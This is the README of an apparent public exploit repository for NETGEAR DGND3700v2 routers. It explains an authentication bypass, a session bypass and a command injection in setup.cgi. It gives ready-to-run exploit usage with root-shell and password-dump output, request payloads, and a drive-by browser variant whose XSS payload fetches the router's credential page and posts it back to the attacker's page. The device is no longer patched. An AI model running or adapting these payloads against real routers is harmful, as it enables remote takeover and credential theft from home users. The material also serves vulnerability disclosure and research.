- Notifications
You must be signed in to change notification settings - Fork4
Longue vue is an exploit chain that can compromise over the internet NETGEAR DGND3700v2 devices.
License
0vercl0k/longue-vue
Folders and files
| Name | Name | Last commit message | Last commit date | |
|---|---|---|---|---|
Repository files navigation
«Longue vue» is an exploit chain that compromises remotelyNETGEAR DGND3700v2 devices. It has been tested on real hardware with the latest available firmware imageV1.1.00.26_1.00.26NA available on NETGEAR's website:DGND3700v2-V1.1.00.26_1.00.26NA.zip.
Its particularity is that it is able to compromise the router over the web like with a browser exploit: a user visiting a website is enough for an attacker to execute arbitrary root commands on their router 🔥
I worked withSSD Disclosure to address those issues and here is the advisory:SSD Advisory – NETGEAR DGND3700v2 PreAuth Root Access.
Unfortunately for users, it seems that NETGEAR has refused to address the vulnerabilities; here is the vendor statement:
NETGEAR will not release a fix for this vulnerability on the affected product as the product is outside of the security support period. Current in-support models are not affected by this vulnerability.
On top of the vulnerabilities exploited and the lack of security support from NETGEAR, the overall security of this device is probably the worst I've seen in a very long time - I would highly recommend moving off this device and getting another one (that's what I personally did).
There are two ways to run the exploit:
- a LAN version that also works against devices that have turned on remote management,
- directly from the Internet (like in a browser exploit). You can check if your router is affected by visiting0vercl0k.github.io/longue-vue.
longue-vue.py is the exploit code for LAN side / when remote management is enabled:
>python longue-vue.py . ' . " ' . . . ' ' "` . . ' ' . ' _______________ ==c(___(o(______(_() \=\ )=\ //|\\ //|| \\ // || \\ // || \\ // \\ «Longue vue» LAN exploit targeting NETGEAR DGND3700v2 by Axel '0vercl0k' Souchetusage: Longue vue [-h] [--dump-pwd] [--shell] [--cmd CMD] [--target TARGET]optional arguments: -h, --help show this help message and exit --dump-pwd --shell --cmd CMD --target TARGETBelow is an example of where I get a remote shell on the device (routerlogin.com resolves to the device IP):
>python longue-vue.py --target routerlogin.com --shell[...]Getting a shell against routerlogin.com..Waiting a few seconds before connecting..Dropping in the shell, exit with ctrl+c# /bin/ps/bin/ps PID USER VSZ STAT COMMAND 1 root 1100 S init 2 root 0 SW< [kthreadd] 3 root 0 SW< [migration/0] 4 root 0 SW [sirq-high/0] 5 root 0 SW [sirq-timer/0] 6 root 0 SW [sirq-net-tx/0] 7 root 0 SW [sirq-net-rx/0] 8 root 0 SW [sirq-block/0] 9 root 0 SW [sirq-tasklet/0] 10 root 0 SW [sirq-sched/0] 11 root 0 SW [sirq-hrtimer/0] 12 root 0 SW [sirq-rcu/0] 13 root 0 SW< [migration/1] 14 root 0 SW [sirq-high/1] 15 root 0 SW [sirq-timer/1] 16 root 0 SW [sirq-net-tx/1] 17 root 0 SW [sirq-net-rx/1] 18 root 0 SW [sirq-block/1] 19 root 0 SW [sirq-tasklet/1] 20 root 0 SW [sirq-sched/1] 21 root 0 SW [sirq-hrtimer/1] 22 root 0 SW [sirq-rcu/1] 23 root 0 SW< [events/0] 24 root 0 SW< [events/1] 25 root 0 SW< [khelper] 28 root 0 SW< [async/mgr] 92 root 0 SW< [kblockd/0] 93 root 0 SW< [kblockd/1] 102 root 0 SW< [khubd] 120 root 0 SW< [bpm] 136 root 0 SW [pdflush] 137 root 0 SW [pdflush] 138 root 0 SWN [kswapd0] 140 root 0 SW< [crypto/0] 141 root 0 SW< [crypto/1] 198 root 0 SW< [mtdblockd] 246 root 0 SW [board-timer] 250 root 0 SW< [linkwatch] 306 root 0 SW [kpAliveWatchdog] 312 root 0 SW [dsl0] 321 root 0 SW [bcmsw] 322 root 0 SW [bcmsw_timer] 409 root 1500 S /usr/sbin/swmdk 411 root 1500 S /usr/sbin/swmdk 412 root 1500 S /usr/sbin/swmdk 417 root 1272 S /sbin/klogd 419 root 808 S /usr/sbin/cmd_agent_ap 421 root 0 SWN [jffs2_gcd_mtd4] 422 root 0 SWN [jffs2_gcd_mtd3] 423 root 0 SWN [jffs2_gcd_mtd12] 424 root 0 SWN [jffs2_gcd_mtd11] 425 root 0 SWN [jffs2_gcd_mtd10] 426 root 0 SWN [jffs2_gcd_mtd9] 427 root 0 SWN [jffs2_gcd_mtd2] 428 root 0 SWN [jffs2_gcd_mtd8][...]# *** Connection closed by remote host ***Cleaning up..Joining..----------------------------Done----------------------------And here is another example to dump the login credentials:
>python longue-vue.py --dump-pwd . ' . " ' . . . ' ' "` . . ' ' . ' _______________ ==c(___(o(______(_() \=\ )=\ //|\\ //|| \\ // || \\ // || \\ // \\ «Longue vue» LAN exploit targeting NETGEAR DGND3700v2 by Axel '0vercl0k' SouchetDumping administration password...Login: 'admin', Password: "TK'm$30ImYDh)Q.e}nZf"----------------------------Done----------------------------You can check if your router is affected by visiting0vercl0k.github.io/longue-vue.
The easiest way to set up the attack in a lab is to startpython -m http.server from theweb/ directory. Then, edit thehosts file of your OS (C:\Windows\System32\drivers\etc\hosts on Windows,/etc/hosts on Linux) and add an entry that resolves to the IP of the listenning Python HTTP server:
[...]<your local ip> longue-vue.netIn my case, I ranpython -m http.server from my personal machine which has the following IP: 192.168.0.2
[...]192.168.0.2 longue-vue.netOnce this is done, you can open a browser (I've only tested this on Microsoft Edge chromium) and navigate tolongue-vue.net and press the button. This is what you should see:
Two vulnerabilities are used; an authentication bypass (as well as a session bypass) and a command injection.
Most of the web functionality is implemented in a CGI ELF written in C. The HTTP server is based offmini_httpd with some modifications / customizations. It is the process that sets up the environment variables that the CGI executable (setup.cgi) uses to understand how to serve the request.
The way web authentication is "working" on this device is extremely fragile. The web server sets an environment variable calledNEED_AUTH to'0' or'1' before invokingsetup.cgi. The CGI executable then uses it to know if it needs to authenticate the user or not.
Because some resources (images, pages, etc.) need to be available without authentication (like the page returned when using wrong credentials), it keeps a static array of page names that are deemed "special":
.data:0041EB20 SpecialNonAuthPages:.word aCurrentsetting.data:0041EB20 # "currentsetting.htm".data:0041EB24 .word aUpdateSettingH # "update_setting.htm".data:0041EB28 .word aDebuginfoHtm # "debuginfo.htm".data:0041EB2C .word aImportantUpdat # "important_update.htm".data:0041EB30 .word aMNUtopHtm # "MNU_top.htm".data:0041EB34 .word aWarningPgHtm # "warning_pg.htm".data:0041EB38 .word aMultiLoginHtml # "multi_login.html".data:0041EB3C .word aHtpwdRecoveryC # "htpwd_recovery.cgi".data:0041EB40 .word a401RecoveryHtm # "401_recovery.htm".data:0041EB44 .word a401AccessDenie # "401_access_denied.htm"When handling a request it loops over this array and tries to find the substring in the request specified by the user:
char*handle_request(){//...CurrSpecialPagePtr= (constchar**)SpecialNonAuthPages;while (1 ) {CurrSpecialPage=*CurrSpecialPagePtr;if ( !*CurrSpecialPagePtr )break;++CurrSpecialPagePtr;// If we find a hit, we special case the requestif (strstr(v60,CurrSpecialPage) ) gotoLABEL_171; }if ( !strstr(v60,".gif")&& !strstr(v60,".css")&& !strstr(v60,".js")&& !strstr(v60,".xml")&& !strstr(v60,".jpg") ) { gotoLABEL_173; }LABEL_171:NeedAuth=0;
Obviously an attacker can abuse this very easily by just appendingfoo=currentsetting.htm in every authenticated URL the attacker wants to access (without authentication). This means the HTTP server will set theNEED_AUTH to'0'.
defdump_http_pwd(target):'''Bypass authentication and retrieve credentials needed to access the administration panel.'''r=requests.get(f'http://{target}/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm')content=r.content.decode()login,pwd=re.findall(r'Router Admin (?:Username|Password)</span>: (.+)</td>',content)returnlogin,pwd
Once the request is allowed to go through,setup.cgi gets spawned viaexecve:
.text:00405BAC move $a1, $zero # handler.text:00405BB0 lw $gp, 0x2B38+var_2B10($sp).text:00405BB4 move $a0, $s1 # path.text:00405BB8 la $t9, execve.text:00405BBC move $a1, $s0 # argv.text:00405BC0 jalr $t9 ; execve.text:00405BC4 move $a2, $s2 # envpBelow is a stripped version ofsetup.cgi's main:
int __cdeclmain(intargc,constchar**argv,constchar**envp){// ...strcpy(SessionFilepath,"/tmp/SessionFile");memset(&SessionFilepath[17],0,0x6Fu);// ...QueryStringIdPtr=strstr(QueryString,"id=");if ( !QueryStringIdPtr ) {// ... }QueryStringId=strtol(QueryStringIdPtr+3,&QueryStringAfterIdPtr,16);if (QueryStringAfterIdPtr ) {QueryStringSpPtr=strstr(QueryStringAfterIdPtr,"sp=");if (QueryStringSpPtr )strcat(SessionFilepath,QueryStringSpPtr+3); }SessionId=ReadSessionId(SessionFilepath);ConFd__=fopen("/dev/console","w");if (ConFd__ ) {fprintf(ConFd__,"[ %s - %d ] : ","sid_verify",201);fprintf(ConFd__,"<%s> your_sid = <%08x>, my_sid = <%08x> \n",SessionFilepath,QueryStringId,SessionId);fflush(ConFd__);fclose(ConFd__); }if (QueryStringId!=SessionId ) gotoSendForbidden;// ...}
The functionalities implemented insetup.cgi are gated behind those checks (even before authentication). This is what I called the 'session bypass' 🤷🏽♂️.
The code creates a file called/tmp/SessionFileXXX whereXXX is the value of thesp GET variable parameter. On successful authentication, this file is opened and a secret integer is generated and written into it. The attentive reader will also notice that the concatenation ofXXX to/tmpSessionFile is also a pre-auth remote stack overflow... 🤦🏽♂️
The code tries to implement a session by asking the user to provide the secret integer via theid GET parameter. This is whatReadSessionId looks like:
int __fastcallReadSessionId(constchar*Filename){FILE*Fd;intSessionId;SessionId=0;Fd=fopen(Filename,"r");if ( !Fd )returnSessionId;fscanf(Fd,"%x",&SessionId);fclose(Fd);returnSessionId;}
The logic is really simple: it opens the file path passed, reads an hexadecimal string into an integer which is calledSessionId and returns it. The caller simply compares the value passed inid= to the value stored in the file. If the secret matches, then the code keeps going otherwise it sends aforbidden answer to the user.
Again, trivial to bypass: we can simply passsp=1337 which means thatReadSessionId will open/tmp/SessionId1337 which won't exist on the device. This means thatfopen will fail and returnSessionId which has been initialized to zero. This is a known value and as a result we can simply passid=0 to have the two secrets match 🤦🏽♂️.
defcmd_exec(target,cmd,silent=False):r=requests.post(f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm',
After bypassing the session checks, this is what the authentication check look like further down:
intHandleSetupCgi(){intList;constchar*NextFile;constchar*ActionName;List=cgi_input_parse();fflush(stdout);if (check_need_logout(List) )returnhandle_logout(List);
cgi_input_parse basically parses the query string and creates a list of key / value items that is passed to various functions.
Incheck_need_logout we can see theNEED_AUTH variable mentioned earlier:
bool __fastcallcheck_need_logout(intList){// ...LoginIp=getenv("LOGIN_IP");NeedAuth=getenv("NEED_AUTH");// ...if (NeedAuth ) {Return=0;if (*NeedAuth=='0' )returnReturn; }//...}
The function needs to return zero for the caller to continue; otherwise it sends aForbidden page. If the variableNEED_AUTH is present in the environment, the code checks if it is'0' and if so it returns0 which means that no authentication is needed.
Because of the issue that we exploited in the HTTP server,NEED_AUTH will be set to'0' and this is how we bypass authentication.
At this point, we can access any feature exposed by the web UI: we can leak the HTTP credentials, etc.
Naturally,setup.cgi implements a feature that allows you to ping an arbitrary IP (inAdvanced > Administration > Diagnostics). The code for that is defined as below:
// .text:00407948 handler_ping_testint __fastcallhandler_ping_test(inta1){constchar*v2;constchar*v3;charv5[128];v2= (constchar*)find_val(a1, (int)"c4_IPAddr");if ( !v2 )v2=&nptr;if ( !strchr(v2,'-')&& !strchr(v2,';') ) {sprintf(v5,"/bin/ping -c 4 %s",v2);myPipe(v5,&ping_output); }v3= (constchar*)find_val(a1, (int)"next_file");html_parser(v3,a1,&key_fun_tab);return0;}
You can inject a command via thec4_IPAddr POST parameter. The'-',';' characters can't be used but it is enough to run a telnet server that is available from the LAN side; this is whatlongue-vue.py does for dropping a shell:
defcmd_exec(target,cmd,silent=False):'''Bypass authentication and command inject `cmd`.'''r=requests.post(f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm', {'todo' :'ping_test','c4_IPAddr' :f'127.0.0.1 && echo SNIPME &&{cmd}','next_file' :'diagping.htm' })content=r.content.decode()ping_log=re.findall(r'<textarea name="ping_result" .+ readonly >(.+)</textarea>',content,re.DOTALL )_,cmd_content=ping_log[0].split('SNIPME',1)ifnotsilent:print(cmd_content.strip())defspawn_telnetd(target):'''Spawn the telnet server.'''cmd_exec(target,'/bin/utelnetd',silent=True)
When running the exploit via the browser, one issue that arises is that the originlongue-vue.net is not allowed to read cross origin data (the router's web pages). Even though it can POST / GET and trigger the issues discussed above (because of lack of CSRF tokens) it cannot read the result.
The trick that I used to bypass this is to create an XSS with the command execution vulnerability:/bin/echo XSSPAYLOAD. The XSS payload runs in the context of the router website's origin and as a result can leak the data back to the attacker server (usingpostMessage). Below is the code that leaks the HTTP credentials over the web:
//// Dump the passwords of the administrator.//functiondumpPasswords(){constpayload=`fetch('/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm').then(r=>r.text()).then(r=>parent.postMessage(r, '*')).catch(r=>parent.postMessage('failed','*'))`;returnexecute(payload).then(R=>{const[loginMatch,pwdMatch]=R.matchAll(/RouterAdmin(?:Username|Password)<\/span>: (.+)<\/td>/g);return{'login':loginMatch[1],'pwd':pwdMatch[1]};});}
This is how I read the output of an arbitrary command executed on the target:
//// Execute a shell command on the router.//functionexecuteCommand(command){if(command.includes(';')||command.includes('-')){throw'cannot inject ";" or "-"';}constpayload="parent.postMessage(document.body.outerHTML,'*')";constcommands=['/bin/echo BEGIN',command,'/bin/echo END'];returnexecute(payload,commands).then(r=>{const[_,result]=r.match(/BEGIN\n(.+)\nEND/s);returnresult;});}
- Axel '0vercl0k' Souchet
About
Longue vue is an exploit chain that can compromise over the internet NETGEAR DGND3700v2 devices.
Topics
Resources
License
Uh oh!
There was an error while loading.Please reload this page.

